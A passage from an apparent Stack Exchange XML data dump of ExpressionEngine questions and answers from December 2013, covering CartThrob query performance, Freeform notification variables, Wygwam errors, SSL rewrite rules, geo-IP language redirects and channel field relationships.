times on one page load).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `cart`&#xA;FROM (`exp_cartthrob_cart`)&#xA;WHERE `id` = '12345'&#xA;LIMIT 1;&#xA;&#xA;UPDATE `exp_cartthrob_cart`&#xA;SET `cart` = 'a-bunch-of-encoded-gibberish',&#xA;    `timestamp` = 1386624719,&#xA;    `url` = 'http://example.com/product-details'&#xA;WHERE `id` = '12345';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why would cartthrob be running these same queries over and over again, and how can I optimize this code to prevent it?&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2013-12-09T23:20:33.053" Title="How to prevent CartThrob from making hundreds of SQL queries and running extremely slow?" Tags="|cartthrob|mysql|performance|sql|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17566" PostTypeId="1" CreationDate="2013-12-09T22:20:26.630" Score="1" ViewCount="185" Body="&lt;p&gt;I've set up a notification template to notify the site owner when a form submission is received. I'd like to have the email notification be from the person who filled out the form and the from email to be their email, not the site owner's. Can I use form field variables in the notification template options to do this? If so, how should they be entered there (e.g., in brackets, just the field name, etc.)?&lt;/p&gt;&#xA;" OwnerUserId="2481" LastEditorUserId="55" LastEditDate="2013-12-09T22:28:32.610" LastActivityDate="2013-12-09T22:32:48.960" Title="Can variables be used in Freeform notification template settings?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17567" PostTypeId="2" ParentId="17566" CreationDate="2013-12-09T22:32:48.960" Score="1" Body="&lt;p&gt;Yes, you can use any of the fields which exist in the form with which that notification template is related, via standard EE syntax (e.g., &lt;code&gt;{name}&lt;/code&gt;, &lt;code&gt;{email}&lt;/code&gt;, etc).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-09T22:32:48.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17568" PostTypeId="1" CreationDate="2013-12-09T22:36:42.403" Score="1" ViewCount="197" Body="&lt;p&gt;After upgrade of Wygwam on Exp Eng 2.7.2 our module Wygwam 3.2.2 is not loading in the control panel due to the following errors...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SyntaxError: Parse error&#xA;/themes/third_party/wygwam/lib/ckeditor/skins/wygwam3/skin.js?t=B9VJ5M2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TypeError: Result of expression 'u' [undefined] is not an object.&#xA;/themes/third_party/wygwam/lib/ckeditor/ckeditor.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are similar questions here...&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14796/wygwam3-21-not-initializing-ckeditor-error-typeerror-u-is-undefined&quot;&gt;Wygwam3.21 not initializing - ckeditor error: TypeError: u is undefined&lt;/a&gt;&#xA;and&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17235/wygwam-ie8-issue-editor-doesnt-load-and-throws-javascript-error&quot;&gt;Wygwam - IE8 issue - editor doesn&amp;#39;t load and throws javascript error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've deleted and reinstalled the folders in both themes/third_party and module/third_party. Why is it using this particular skin? Any ideas on what is causing the error?&lt;/p&gt;&#xA;" OwnerUserId="505" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-02-08T19:28:49.960" Title="What is causing Wygwam 3.2.2 error: SyntaxError: Parse error, TypeError: Result of expression 'u' [undefined] is not an object" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17569" PostTypeId="1" AcceptedAnswerId="17570" CreationDate="2013-12-09T22:49:46.803" Score="1" ViewCount="56" Body="&lt;p&gt;I'm wondering if there's any way to display the channel a search result was found in on the search results page. I have about 6 channels and I want to be able to search all of them with one search form. It gets confusing with the results though because some channels have entries with the same or a similar name. Is there anyway to include the channel the result is located in in the search result page? I haven't yet been able to really find any way of displaying the channel an entry is in yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="2482" LastActivityDate="2013-12-09T22:59:27.463" Title="Display channel search result was found in" Tags="|ee2|search|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17570" PostTypeId="2" ParentId="17569" CreationDate="2013-12-09T22:59:27.463" Score="2" Body="&lt;p&gt;Yup: &lt;code&gt;{channel}&lt;/code&gt;. Note that all of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-entries-single-variables&quot; rel=&quot;nofollow&quot;&gt;Channel Entries variables&lt;/a&gt; are available within the Search Results tag.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-09T22:59:27.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17571" PostTypeId="2" ParentId="17565" CreationDate="2013-12-09T23:20:33.053" Score="3" Body="&lt;p&gt;Sounds like a poorly coded template... First, you should aim to refactor it using the &lt;code&gt;multi_add_to_cart_form&lt;/code&gt; instead of the simple &lt;code&gt;add_to_cart_form&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/multi_add_to_cart_form/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/multi_add_to_cart_form/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a single form for all 6 products so should reduce CT's load by 6X. You should then look into other optimisations and caching strategies for further gains (in particular, try to minimise or eliminate usage of EE's &lt;code&gt;embed&lt;/code&gt; tag). It's likely that if the previous developer missed the multi_add_to_cart_form they probably missed a lot of other things...&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-09T23:20:33.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17572" PostTypeId="2" ParentId="17563" CreationDate="2013-12-10T02:14:59.270" Score="2" Body="&lt;p&gt;Control panel themes are installed in the &lt;code&gt;DOCUMENT_ROOT/themes/third_party&lt;/code&gt; directory. After placing the theme in there, you should see it in the list in the control panel general preferences.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-10T02:14:59.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17573" PostTypeId="2" ParentId="17515" CreationDate="2013-12-10T04:36:28.370" Score="1" Body="&lt;p&gt;the same issue as in &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17514/templates-in-cp-take-over-4-minutes-to-load&quot;&gt;Templates in CP take over 4 minutes to load&lt;/a&gt;. Happens because too many template publications in DB (67k templates records in exp_templates table).&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-12-10T04:36:28.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17574" PostTypeId="2" ParentId="17514" CreationDate="2013-12-10T04:39:39.013" Score="2" Body="&lt;p&gt;ok. Let summarize:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosting: Goddady&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version: &lt;strong&gt;2.1.3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you use &quot;Save Templates as files&quot; option (&lt;em&gt;Design &gt; Template Manager &gt; Global Template Preferences&lt;/em&gt;): &lt;strong&gt;Yes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why templates is load so slow? You have 24 uniq templates &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT(template_name) FROM `exp_templates`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but &lt;strong&gt;67866&lt;/strong&gt; records (49 Mb) in exp_templates table. I can't tell you why this happens (is not good strategy to spend time to debug soo old version. Can be something with file permissions or ee bug), but you &lt;a href=&quot;http://ellislab.com/forums/viewthread/188007/#890173&quot; rel=&quot;nofollow&quot;&gt;not uniq with this issue and version 2.1.3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;check if you template folder (*/themes/site_themes*) have a good permissions &lt;/li&gt;&#xA;&lt;li&gt;check if you have the last template version in files&lt;/li&gt;&#xA;&lt;li&gt;backup db&lt;/li&gt;&#xA;&lt;li&gt;cleanup exp_templates table&lt;/li&gt;&#xA;&lt;li&gt;recreate templates&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;update your EE version&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-12-10T04:47:18.300" LastActivityDate="2013-12-10T04:47:18.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17575" PostTypeId="2" ParentId="15199" CreationDate="2013-12-10T04:56:28.957" Score="3" Body="&lt;p&gt;I found the solution to my problem. The logouts were caused by the login reminder feature, which detects if a session expires and allows you to quickly log back in. This quick login feature eventually expires and completely logs you out of the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see why this feature should be active when I'm using cookies instead of sessions, and I don't think it's getting my 3 day session correct,  but anyway, there's a hidden configuration variable to disable it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['login_reminder'] = 'n';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been auto logged out all day!&lt;/p&gt;&#xA;" OwnerUserId="1792" LastActivityDate="2013-12-10T04:56:28.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17576" PostTypeId="2" ParentId="17346" CreationDate="2013-12-10T05:48:02.190" Score="0" Body="            &#xA;{exp:calendar:cal   calendar_id=&quot;218&quot; enable=&quot;categories&quot;  {if segment_3 == ''}  date_range_start=&quot;year-month-01&quot; date_range_end=&quot;year-month-last&quot; {/if} &#xA;{if segment_3 != &quot;&quot;}   date_range_start=&quot;{segment_3}-{segment_4}-01&quot;                date_range_end=&quot;{segment_3}-{segment_4}-last&quot; {/if} }            {display_each_month}            &#xA;                &#xA;                    &#xA;                        &#xA;                           &#xA;                          &#xA;                        &#xA;{date format=&quot;%F %Y&quot;}                        &#xA;                      &#xA;                &#xA;                &#xA;                    &#xA;                        &#xA;                            &#xA;                                &#xA;                                    &#xA;                                        &#xA;                                            &#xA;{display_each_day_of_week}                                            &#xA;                                                &#xA;{day_of_week_short}                                            &#xA;                                            &#xA;{/display_each_day_of_week}                                        &#xA;                                    &#xA;                                    &#xA;                                        &#xA;{display_each_week}                                         &#xA;                                            &#xA;{display_each_day}                                            &#xA;{if day_in_current_month}                                                &#xA;                                                   &#xA;                                                        &#xA;{date format=&quot;%j&quot;}&#xA;&#xA;                                            &#xA;{if:else}                                                &#xA;                                                    &#xA;                                                    &#xA; {date format=&quot;%j&quot;}                                              &#xA;{/if}                                            &#xA;&#xA;&#xA;{if day_in_current_month}&#xA;{display_each_hour}                                                &#xA;{events}                                                    &#xA; 0} index_difference_{all_day_event_index_difference}{/if} &quot;&gt; &#xA;&#xA;&amp;nbsp;                                                   &#xA;&#xA;&#xA;                                                    &#xA;{/events}                                                &#xA;{/display_each_hour}&#xA;{/if}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;{/display_each_day} &#xA; &#xA;{/display_each_week} &#xA; &#xA;&#xA;                        &#xA;                    &#xA;                &#xA;            &#xA;            &#xA;{/display_each_month}            &#xA;{/exp:calendar:cal} &#xA;&#xA;" OwnerUserId="2121" LastActivityDate="2013-12-10T05:48:02.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17577" PostTypeId="1" CreationDate="2013-12-10T06:21:48.290" Score="0" ViewCount="216" Body="&lt;p&gt;In EE 2.7.2,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a channel where there are various authors to different articles, is there a way using the full version of EE to simply show some fields based on the author?  The goal would be to display custom author fields.  The code might look something like what you see below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;10&quot;}&#xA;    &amp;lt;a href=&quot;{title_permalink='channel/comments'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;    &amp;lt;div&amp;gt;{author_name}|{author_favorite_sport}&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do have Solspace User installed, as well as my own custom module, but it just seems that I'm overthinking this somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA for any help!&lt;/p&gt;&#xA;" OwnerUserId="968" LastActivityDate="2013-12-10T09:41:26.577" Title="What is the easiest way to display author information on channel entries in a template?" Tags="|channel-entries|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17578" PostTypeId="2" ParentId="11194" CreationDate="2013-12-10T07:03:01.287" Score="-1" Body="&lt;p&gt;*&lt;em&gt;Just Change your paypal url to *&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout&amp;amp;token=&quot; rel=&quot;nofollow&quot;&gt;https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout&amp;amp;token=&lt;/a&gt;$your_token&amp;amp;useraction=commit&quot;&lt;/p&gt;&#xA;" OwnerUserId="2483" LastActivityDate="2013-12-10T07:03:01.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17579" PostTypeId="2" ParentId="11194" CreationDate="2013-12-10T08:33:46.980" Score="1" Body="&lt;p&gt;I believe the latest store update does exactly this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-12-10T08:33:46.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17580" PostTypeId="1" AcceptedAnswerId="18000" CreationDate="2013-12-10T08:55:05.310" Score="2" ViewCount="646" Body="&lt;p&gt;Trying to force SSL on the admin area only (/admin.php) but running into some issues. I've installed the http support add-on (&lt;a href=&quot;http://devot-ee.com/add-ons/https-support&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/https-support&lt;/a&gt;) and the SSL certificate is up and running with this the admin area all works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when logged in if you visit the main site it also tries to force to SSL, but for some reason pages 404 unless they have /index.php/ in the URL, making me assume this is a .htaccess issue. I'd rather not have the main site on SSL when logged in, but if this isn't possible with the https support add on then I'd be happy to just get the https site working without /index.php/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our current .htaccess looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;&#xA;        # Redirect index.php Requests&#xA;        # ------------------------------&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{THE_REQUEST} !/system/.*&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,L]&#xA;&#xA;        # Standard ExpressionEngine Rewrite&#xA;        # ------------------------------&#xA;        RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not being an expert I can't see why the removal of /index.php isn't working for https? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-01-01T21:09:42.843" Title="Forcing SSL on /admin.php only" Tags="|htaccess|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17581" PostTypeId="2" ParentId="17577" CreationDate="2013-12-10T09:41:26.577" Score="3" Body="&lt;p&gt;You'd do it precisely as you have done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the custom member fields within a channel entries tag loop then you will output information about the author of the entry being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need any custom add-ons to do this.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-10T09:41:26.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17582" PostTypeId="2" ParentId="17440" CreationDate="2013-12-10T12:08:20.303" Score="1" Body="&lt;p&gt;I've figured out a workaround based on my findings, it's not perfect by any means and will break quite easily but will work OK in this particular instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I include the seg2cat tag to get the current category's parent id and include this in the show parameter, this ensures we can display the child data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ONLY show the child data I then use a conditional to check the category being output in the loop against the seg2cat category id and only show it if it's the child category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories show=&quot;{segment_2_category_parent_id}|{segment_2_category_id}&quot; parent_only=&quot;no&quot; style=&quot;linear&quot;}&#xA;    {if '{category_id}' == '{segment_2_category_id}'}&#xA;&#xA;        {category_description}&#xA;&#xA;        {if content-image}&#xA;            {exp:ce_img:pair src=&quot;{content-image}&quot; max_width=&quot;328&quot;}&#xA;                &amp;lt;img src=&quot;{made}&quot; alt=&quot;{segment_2_category_name}&quot;&amp;gt;&#xA;            {/exp:ce_img:pair}&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can come up with a better way to do this I'd love to know!&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-10T12:08:20.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17583" PostTypeId="2" ParentId="11999" CreationDate="2013-12-10T12:39:48.473" Score="1" Body="&lt;p&gt;Doing a similar thing for a site now and here's what we're doing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable the IP to Nation module&lt;/li&gt;&#xA;&lt;li&gt;Install and activate the Clive Zagno ipgeo plugin&lt;/li&gt;&#xA;&lt;li&gt;Add code below to EE - we put it in a snippet snp_html-header&lt;/li&gt;&#xA;&lt;li&gt;Set Transcribe to always use a language abbreviation in the url&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;pre&gt;&#xA;{if &quot;{transcribe:language_abbreviation}&quot; == &quot;es&quot;}&#xA;  {if &quot;{exp:ipgeo:code}&quot; != &quot;ES&quot;}&#xA;    {redirect=&quot;index.php?ACT=23&amp;amp;lang=en&quot; status_code=&quot;301&quot;}&#xA;  {/if}&#xA;{if:elseif &quot;{transcribe:language_abbreviation}&quot; == &quot;de&quot;}&#xA;  {if &quot;{exp:ipgeo:code}&quot; != &quot;AT&quot; &amp;amp;&amp;amp; &quot;{exp:ipgeo:code}&quot; != &quot;DE&quot; &amp;amp;&amp;amp; &quot;{exp:ipgeo:code}&quot; != &quot;CH&quot;}&#xA;    {redirect=&quot;index.php?ACT=23&amp;amp;lang=en&quot; status_code=&quot;301&quot;}&#xA;  {/if}&#xA;{if:elseif &quot;{transcribe:language_abbreviation}&quot; == &quot;fr&quot;}&#xA;  {if &quot;{exp:ipgeo:code}&quot; != &quot;BE&quot; &amp;amp;&amp;amp; &quot;{exp:ipgeo:code}&quot; != &quot;FR&quot;}&#xA;    {redirect=&quot;index.php?ACT=23&amp;amp;lang=en&quot; status_code=&quot;301&quot;}&#xA;  {/if}&#xA;{if:elseif &quot;{transcribe:language_abbreviation}&quot; == &quot;it&quot;}&#xA;  {if &quot;{exp:ipgeo:code}&quot; != &quot;IT&quot;}&#xA;    {redirect=&quot;index.php?ACT=23&amp;amp;lang=en&quot; status_code=&quot;301&quot;}&#xA;  {/if}&#xA;{if:elseif &quot;{transcribe:language_abbreviation}&quot; == &quot;nl&quot;}&#xA;  {if &quot;{exp:ipgeo:code}&quot; != &quot;BE&quot; &amp;amp;&amp;amp; &quot;{exp:ipgeo:code}&quot; != &quot;NL&quot;}&#xA;    {redirect=&quot;index.php?ACT=23&amp;amp;lang=en&quot; status_code=&quot;301&quot;}&#xA;  {/if}&#xA;{/if} &#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps you or someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expanding on this, if you have root access you can install the php5-ipgeo module and add a global variable. That way you don't need the extra two EE addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('geoip_country_code_by_name')) {&#xA;    $assign_to_config['global_vars'] = array('global_country-code' =&amp;gt; geoip_country_code_by_name($_SERVER['REMOTE_ADDR']));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="942" LastEditorUserId="942" LastEditDate="2014-02-06T17:37:56.357" LastActivityDate="2014-02-06T17:37:56.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17584" PostTypeId="1" CreationDate="2013-12-10T13:27:02.000" Score="2" ViewCount="104" Body="&lt;p&gt;I get stucked.&#xA;I've to do this:&#xA;I've a channel &quot;Projects&quot; where a Super Author write a list of projects.&#xA;I've another channel &quot;Articles&quot; where Authors can write articles and make a unique relationship with a single entry in &quot;Projects&quot; channel.&#xA;But only Super Author can allow which Author can select that single project.&#xA;So in a field in &quot;Articles&quot; entry for that author, it should be listed only allowed &quot;Projects&quot; entries for that author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EX: There is S_A (Super Author), A_1 (Author 1), A_2 (Author 2).&#xA;S_A make Prj_1, Prj_2, Prj_3 and assign that permissions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Prj_1 -&amp;gt; A_1&#xA;Prj_2 -&amp;gt; A_1;A_2&#xA;Prj_3 -&amp;gt; A_2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A_1 when write an article in &quot;Articles&quot; channel can select from a dropdown only Prj_1 &amp;amp; Prj_2, and can't see Prj_3 in the list;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A_2A_1 when write an article in &quot;Articles&quot; channel can select from a dropdown only Prj_2 &amp;amp; Prj_3, and can't see Prj_1 in the list;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this steps:&#xA;I've created 3 different channels: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Authors (with plug-in Profile:Edit); &#xA;- Project;&#xA;- Articles;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Projects i've created this channel fields:&#xA;prj_author that is a Playa field to allow S_A to select allowed Authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Articles i've created this channel fields:&#xA;art_projects that is a Playa field to show all the entries in the &quot;Projects&quot; channel, but here i can't filter entries for the selected author in prj_author playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can somebody can help me?&#xA;I can offer a beer :D&lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2013-12-10T21:39:56.297" Title="Display a list of allowed entries in a different channel's field for a selected author" Tags="|channel-entries|playa|filter|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17585" PostTypeId="2" ParentId="17501" CreationDate="2013-12-10T13:30:31.647" Score="3" Body="&lt;p&gt;Reposting here the solution that I posted on Devot:ee to the same question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:stash:get_list name=&quot;location_list&quot;}&#xA;  {if  0 == {exp:stash:list_count name=&quot;checked_locations&quot; match=&quot;#^{entry_id}$#&quot; against=&quot;entry_id&quot;}}&#xA;   &amp;lt;li&amp;gt;{entry_id}&amp;lt;/li&amp;gt;&#xA;  {/if}&#xA;{/exp:stash:get_list} &#xA;&amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-12-10T13:30:31.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17586" PostTypeId="2" ParentId="17552" CreationDate="2013-12-10T15:04:57.823" Score="0" Body="&lt;p&gt;Why don't you use the last version of Structure? 3.3.13&#xA;It seems that in version 3.3.12 a update was made for Nav tag output bug for ee 2.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-12-10T15:04:57.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17587" PostTypeId="2" ParentId="17554" CreationDate="2013-12-10T15:08:59.597" Score="2" Body="&lt;p&gt;Have you made sure that the themes are properly installed? Sounds like a JavaScript error.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-10T15:08:59.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17588" PostTypeId="2" ParentId="17584" CreationDate="2013-12-10T15:27:44.097" Score="3" Body="&lt;p&gt;You'll need to write a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html&quot; rel=&quot;nofollow&quot;&gt;custom fieldtype&lt;/a&gt; to achieve this - I can't think of any existing fieldtypes that could accomplish this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your fieldtype, you'd query &lt;code&gt;exp_playa_relationships&lt;/code&gt; for all &lt;code&gt;parent_entry_id&lt;/code&gt;'s where where &lt;code&gt;child_entry_id&lt;/code&gt; was equal to the &lt;code&gt;entry_id&lt;/code&gt; associated with &lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata('member_id')&lt;/code&gt;. (Not sure how &lt;em&gt;Profile:Edit&lt;/em&gt; stores its Channel/Member relationships, but it's probably in a simple DB table.) Then, use that data to build a menu from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very difficult to then pass this to a Playa field though - you'd be best off building your own dropdown menu.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-12-10T21:39:56.297" LastActivityDate="2013-12-10T21:39:56.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17589" PostTypeId="2" ParentId="17503" CreationDate="2013-12-10T15:49:43.760" Score="2" Body="&lt;p&gt;I ended up going with pixel and tonic wygwam.&#xA;Thanks anyway.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2013-12-10T15:49:43.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17590" PostTypeId="1" CreationDate="2013-12-10T16:24:06.080" Score="3" ViewCount="2473" Body="&lt;p&gt;I've got a navigation structure where I'm using the Title as the main navigation menu item and then using grid for any submenu items.  So what I basically want to do is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{submenu:field_total_rows}&quot; == &quot;0&quot;}{if:else}Show the submenu{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried multiple variations on the above row - but both empty and non-empty submenus are behaving the same way. I'm sure its just a syntax issue but I can't find what is is.&lt;/p&gt;&#xA;" OwnerUserId="2485" LastActivityDate="2014-08-20T21:39:21.253" Title="Conditional Variable with Grid Field" Tags="|conditionals|grid|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17591" PostTypeId="2" ParentId="17530" CreationDate="2013-12-10T16:32:58.167" Score="1" Body="&lt;p&gt;You should be able to get the count of the movie within the person_film_list relationship field by going one step further in your relationship drill down. When you get to the parent entry, add in a (child) relationship tag pair for the person_film_list field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--   a movie entry   --}&#xA;{exp:channel:entries&#xA;    channel=&quot;MOVIES&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    entry_id=&quot;ENTRY_ID&quot;&#xA;    status=&quot;not closed&quot;&#xA;}&#xA;&#xA;    {!--   find all parent entries in the persons channel for this movie   --}&#xA;    {parents channel=&quot;PERSONS&quot; field=&quot;person_film_list&quot; status=&quot;not closed&quot;}&#xA;&#xA;        {!--   while on this persons entry, get the content of the person_film_list field   --}&#xA;        {parents:person_film_list status=&quot;not closed&quot;}&#xA;&#xA;            {!--   while looping through the content of the person_film_list field, only work with the movie we're targeting   --}&#xA;            {if title == parents:person_film_list:title}&#xA;                &amp;lt;p&amp;gt;&#xA;                    Movie Title: {title}&amp;lt;br&amp;gt;&#xA;                    Person Title: {parents:title}&amp;lt;br&amp;gt;&#xA;                    Movie's Count in Person's list: {parents:person_film_list:count}&#xA;                &amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;&#xA;        {/parents:person_film_list}&#xA;&#xA;    